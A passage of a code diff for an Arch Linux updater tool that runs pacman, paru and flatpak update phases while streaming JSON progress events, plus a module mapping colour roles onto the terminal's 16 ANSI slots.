+ {"event":"recovery", "label":..,"argv":[..],"note":..}
+ {"event":"phase_end", "phase":"repo","returncode":0,"elapsed":F}
+ {"event":"error", "message":.., "details":[..]}
+ {"event":"done", "returncode":0,"elapsed":F}
+"""
+
+from __future__ import annotations
+
+import contextlib
+import json
+import os
+import signal
+import subprocess
+import sys
+import time
+from pathlib import Path
+
+from .live import BuildObserver, build_env, spawn_kwargs, terminate
+
+POLL_HZ = 5.0
+
+#: a child that survived SIGKILL: the phase did not finish and did not stop
+EXIT_STILL_RUNNING = 125
+
+
+#: How much of the progress bar a package that actually builds is worth,
+#: against one that only downloads and installs. A build runs for minutes and a
+#: download for about a second, so without this the bar raced to nearly full
+#: during the repository phase -- every package there finishes in no time --
+#: and the estimate that follows from it was meaningless.
+BUILD_WEIGHT = 60
+PLAIN_WEIGHT = 1
+
+
+class SkipRequest:
+ """A request to abandon the package in progress and go on to the next.
+
+ Set from a signal handler, which may only touch simple state, and taken by
+ the supervise loop between polls. One package per invocation is what makes
+ this possible at all: inside a single transaction there is nothing to skip
+ without unpicking what pacman has already done.
+ """
+
+ def __init__(self) -> None:
+ self._asked = False
+
+ def ask(self) -> None:
+ self._asked = True
+
+ def take(self) -> bool:
+ asked, self._asked = self._asked, False
+ return asked
+
+
+#: the process-wide request; a signal handler has nowhere else to put it
+SKIP = SkipRequest()
+
+
+def request_skip(*_args: object) -> None:
+ """Handler for the signal the dashboard sends when `s` is pressed."""
+ SKIP.ask()
+
+
+def listen_for_skip() -> None:
+ """Route the skip signal to the request.
+
+ Installed only where something can act on it, so an ordinary CLI run keeps
+ the default disposition and an unexpected SIGUSR1 still stops it.
+ """
+ with contextlib.suppress(ValueError, OSError):
+ signal.signal(signal.SIGUSR1, request_skip)
+
+
+class Emitter:
+ """Writes one JSON object per line and flushes, so the reader sees it live.
+
+ A dead reader must never interrupt a running transaction. If the front end
+ exits, this process's stdout pipe breaks; letting that exception escape would
+ unwind the phase loop into the `finally` that terminates pacman, killing an
+ upgrade halfway through. That is precisely how a system ends up in a
+ half-upgraded state, so a broken pipe silences the reporting and nothing else.
+ """
+
+ def __init__(self, stream=None) -> None:
+ self.stream = stream or sys.stdout
+ self.alive = True
+
+ def _die(self) -> None:
+ """Stop reporting and make the stream safe to write to again.
+
+ Redirecting the descriptor to /dev/null is the documented way to handle
+ this: without it the interpreter prints its own BrokenPipeError noise on
+ exit, from a place no handler of ours can reach.
+ """
+ self.alive = False
+ try:
+ fileno = self.stream.fileno()
+ except (AttributeError, OSError, ValueError):
+ return
+ try:
+ devnull = os.open(os.devnull, os.O_WRONLY)
+ os.dup2(devnull, fileno)
+ os.close(devnull)
+ except OSError:
+ pass
+
+ def __call__(self, event: str, **fields) -> None:
+ if not self.alive:
+ return
+ payload = {"event": event}
+ payload.update(fields)
+ try:
+ self.stream.write(json.dumps(payload, separators=(",", ":")) + "\n")
+ self.stream.flush()
+ except (BrokenPipeError, ValueError, OSError):
+ self._die()
+
+ def human(self, message: str) -> None:
+ """Anything a person should read. Never stdout."""
+ try:
+ print(message, file=sys.stderr, flush=True)
+ except (BrokenPipeError, ValueError, OSError):
+ pass
+
+
+class StreamingRunner:
+ """Runs one phase while emitting build state, without rendering anything."""
+
+ #: most lines of a command's output to send in one tick. A cap rather than
+ #: a window: the interface keeps what it has been sent, so nothing is lost
+ #: except a burst larger than this between two polls.
+ TAIL_LINES = 200
+
+ def __init__(
+ self,
+ observer: BuildObserver,
+ emit: Emitter,
+ *,
+ poll_hz: float = POLL_HZ,
+ workers: int = 1,
+ nproc: int | None = None,
+ ) -> None:
+ self.observer = observer
+ self.emit = emit
+ self.poll_hz = poll_hz
+ self.workers = workers
+ self.nproc = nproc
+ self._pid: int | None = None
+ self._log: Path | None = None
+ self._log_seen: Path | None = None
+ self._log_offset = 0
+ #: set when the run was asked to stop. The interrupt is caught around
+ #: the child so that the child can be shut down cleanly, which means
+ #: the caller has to be told: catching it here otherwise looked like a
+ #: phase that had simply finished, and a phase made of many
+ #: invocations carried on to the next one.
+ self.interrupted = False
+ self.skipped = False
+
+ def run(
+ self,
+ argv: list[str],
+ phase: str,
+ log_path: Path,
+ *,
+ total: int | None = None,
+ since: float | None = None,
+ ) -> int:
+ """`since` is when the whole run began, for a cumulative elapsed.
+
+ A phase's own duration is meaningless once several invocations make up
+ one phase: reporting it made the clock read 19s while a package had
+ been building for nearly two minutes.
+ """
+ log_path.parent.mkdir(parents=True, exist_ok=True)
+ self._log = log_path
+ # Per package, not per runner. One runner makes every invocation in a
+ # phase, so a flag left set made a single skip look like a skip of
+ # every package that followed it. `interrupted` is deliberately not
+ # reset: once the run has been asked to stop, it has stopped.
+ self.skipped = False
+
+ started = time.monotonic()
+ began = since if since is not None else started
+ count = total if total is not None else self.observer.total
+ self.emit(
+ "phase_start", phase=phase, command=" ".join(argv), total=count, log=str(log_path)
+ )
+
+ with open(log_path, "wb") as log:
+ proc = subprocess.Popen( # noqa: S603 - argv is built by the caller
+ argv, **spawn_kwargs(build_env(self.workers, self.nproc), log)
+ )
+ self._pid = proc.pid
+ try:
+ while proc.poll() is None:
+ if SKIP.take():
+ # the caller decides what a skip means; the runner
+ # only stops this child and says that it did
+ self.skipped = True
+ terminate(proc)
+ break
+ self._tick(proc.pid, phase)
+ time.sleep(1.0 / self.poll_hz)
+ except KeyboardInterrupt:
+ self.interrupted = True
+ # No human line here: the caller reports the stop as a proper
+ # event, and a human line is echoed back into the interface as a
+ # second, identical warning.
+ terminate(proc)
+ finally:
+ if proc.poll() is None:
+ terminate(proc)
+ self._pid = None
+
+ # drain whatever landed between the last tick and exit, so a package
+ # that finished at the very end still reaches the feed
+ self._tick(None, phase)
+
+ elapsed = time.monotonic() - began
+ # A child that outlived SIGKILL is not a success. `returncode or 0`
+ # turned None into 0, so the run reported the phase as done and started
+ # the next one beside a live pacman transaction.
+ code = proc.returncode
+ if code is None:
+ self.interrupted = True
+ code = EXIT_STILL_RUNNING
+ self.emit("phase_end", phase=phase, returncode=code, elapsed=round(elapsed, 2))
+ return code
+
+ def _new_log_lines(self) -> list[str]:
+ """Lines the running command printed since the last tick.
+
+ Sending the *last* few lines each time lost anything a burst produced
+ between two polls, and meant the interface could never show more than a
+ window of the output. Tracking the read offset instead makes the stream
+ whole, so it can be read back in full.
+ """
+ if self._log is None:
+ return []
+ if self._log != self._log_seen:
+ # a new package has its own log; start from the beginning of it
+ self._log_seen = self._log
+ self._log_offset = 0
+ try:
+ if self._log.stat().st_size < self._log_offset:
+ self._log_offset = 0 # truncated or replaced
+ with open(self._log, "rb") as handle:
+ handle.seek(self._log_offset)
+ chunk = handle.read(1 << 20)
+ except OSError:
+ return []
+
+ # Work in bytes: a partial final line has to be left for the next tick,
+ # and re-decoding with replacement would not tell us how many there were.
+ cut = chunk.rfind(b"\n")
+ if cut < 0:
+ return []
+ text = chunk[: cut + 1].decode("utf-8", errors="replace")
+ self._log_offset += cut + 1
+ lines = [line.rstrip() for line in text.splitlines() if line.strip()]
+ return [line[:400] for line in lines[-self.TAIL_LINES :]]
+
+ def _tick(self, pid: int | None, phase: str) -> None:
+ finished = self.observer.poll(pid)
+ for entry in finished:
+ # the weight travels with the result, so the consumer can weigh
+ # progress by work rather than by package
+ self.emit(
+ "finished",
+ name=entry.name,
+ elapsed=round(entry.elapsed, 2),
+ state=entry.state,
+ version=entry.version,
+ shared=entry.shared,
+ )
+ states = [
+ {
+ "name": state.package,
+ "phase": state.phase,
+ "elapsed": round(state.elapsed, 2),
+ "jobs": state.jobs,
+ "workers": getattr(state, "workers", ""),
+ }
+ for state in self.observer.states.values()
+ ]
+ done = sum(1 for e in self.observer.feed if e.state != "fail")
+ self.emit(
+ "build",
+ phase=phase,
+ packages=states,
+ download_bytes=self.observer.download_bytes,
+ download_rate=round(self.observer.download_rate, 1),
+ done=done,
+ total=self.observer.total,
+ log_lines=self._new_log_lines(),
+ )
+
+
+# --------------------------------------------------------------------------
+# phase planning
+# --------------------------------------------------------------------------
+
+
+def repo_command(held: list[str], *, refresh: bool = True) -> list[str]:
+ """`-Syu` with `--ignore`, which is exactly the IgnorePkg mechanism.
+
+ Holding a package back makes the run a partial upgrade, which Arch does not
+ support. It is still offered because it is occasionally what you want, but
+ the caller is expected to have said so out loud first.
+ """
+ # `-y` refreshes the databases first. The plan is built from the databases
+ # on disk, so refreshing here installs from a set the reader never saw --
+ # the same option has to decide it in both places.
+ argv = ["sudo", "pacman", "-Syu" if refresh else "-Su", "--noconfirm"]
+ if held:
+ argv.append("--ignore=" + ",".join(sorted(held)))
+ return argv
+
+
+def aur_command(targets: list[str]) -> list[str]:
+ """An explicit target list rather than `-Sua`.
+
+ `-Sua` updates everything and offers no way to leave one package out, so
+ skipping a package requires naming the ones to include.
+
+ `--nobatchinstall` is deliberate, and is not paru's default. By default paru
+ builds every package and then hands the whole set to pacman as a *single*
+ transaction, which makes one bad package poison the entire update: a single
+ unresolved conflict meant none of twenty-seven packages installed. paru's
+ documented alternative is to install each package as soon as it is built, so
+ a failure costs one package instead of all of them.
+
+ `--failfast` is deliberately absent too: paru's default is to carry on after
+ a build fails, which is the behaviour wanted here.
+ """
+ return ["paru", "-S", "--needed", "--noconfirm", "--nobatchinstall", *sorted(targets)]
+
+
+def aur_command_interactive(targets: list[str]) -> list[str]:
+ """The same target list, but with the prompts left switched on.
+
+ Some questions have no correct automatic answer -- "replace the installed
+ scenefx0.5 with scenefx?" is a decision, not a default. Those can only be
+ put to a human, which needs the real terminal the interface normally keeps
+ to itself.
+ """
+ return ["paru", "-S", "--needed", "--nobatchinstall", *sorted(targets)]
+
+
+def flatpak_command() -> list[str]:
+ return ["flatpak", "update", "--noninteractive", "-y"]
+
+
+def installed_progress(updates) -> int:
+ """How many planned updates have actually landed.
+
+ The repo phase has no build graph, so progress has to be measured: a package
+ is done when its new version directory exists in the local database.
+ """
+ local = Path("/var/lib/pacman/local")
+ done = 0
+ for update in updates:
+ if (local / f"{update.name}-{update.new}").is_dir():
+ done += 1
+ return done
diff --git a/updater/theme.py b/updater/theme.py
@@ -0,0 +1,95 @@
+"""Semantic roles over the terminal's own 16-colour palette.
+
+Colours are never chosen here. A role names a meaning and an ANSI slot, and the
+user's terminal theme decides what that looks like.
+
+Attributes carry real weight: a theme is free to make two slots indistinguishable
+or to set normal == bright, so bold/dim/underline are a second, independent
+channel. `dim` in particular is a genuine extra level, not a nicety.
+"""
+
+from __future__ import annotations
+
+from dataclasses import dataclass, replace
+
+# Rich's names for the 16 ANSI slots, in SGR order.
+ANSI16: tuple[str, ...] = (
+ "black",
+ "red",
+ "green",
+ "yellow",
+ "blue",
+ "magenta",
+ "cyan",
+ "white",
+ "bright_black",
+ "bright_red",
+ "bright_green",
+ "bright_yellow",
+ "bright_blue",
+ "bright_magenta",
+ "bright_cyan",
+ "bright_white",
+)
+
+
+@dataclass(frozen=True)
+class Role:
+ """An ANSI slot plus attributes. ansi="" means the terminal default fg."""
+
+ ansi: str = ""
+ attrs: str = ""
+
+ def style(self) -> str:
+ return " ".join(p for p in (self.attrs, self.ansi) if p)
+
+
+ROLES: dict[str, Role] = {
+ "text": Role(), # terminal default foreground
+ "muted": Role("bright_black"), # timestamps, sizes, hints
+ "rule": Role("bright_black", "dim"), # separators only
+ "accent": Role("green", "bold"), # brand, running, active
+ "ok": Role("green", "dim"), # completed, recedes
+ "warn": Role("yellow", "bold underline"), # needs a look
+ "alert": Role("red", "bold underline"), # never auto-apply
+ "err": Role("red", "bold"), # failed, destructive
+ "old": Role("red"), # outgoing version
+ "new": Role("green", "bold"), # incoming version
+ "ver": Role("cyan"), # neutral version, paths
+}
+
+
+@dataclass(frozen=True)
+class Theme:
+ """Resolved role styles, ready to hand to Rich."""
+
+ text: str
+ muted: str
+ rule: str
+ accent: str
+ ok: str
+ warn: str
+ alert: str
+ err: str
+ old: str
+ new: str
+ ver: str
+
+ @classmethod
+ def default(cls) -> Theme:
+ return cls(**{name: role.style() for name, role in ROLES.items()})
+
+ def remap(self, **slots: str) -> Theme:
+ """Override slots, e.g. remap(ok="cyan").
+
+ Raises on an unknown ANSI slot name so a typo fails loudly at startup
+ instead of silently rendering as the terminal default.
+ """
+ out = self
+ for name, ansi in slots.items():
+ if name not in ROLES:
+ raise ValueError(f"unknown role {name!r}")
+ if ansi and ansi not in ANSI16:
+ raise ValueError(f"{name}: {ansi!r} is not an ANSI-16 slot")
+ out = replace(out, **{name: replace(ROLES[name], ansi=ansi).style()})
+ return out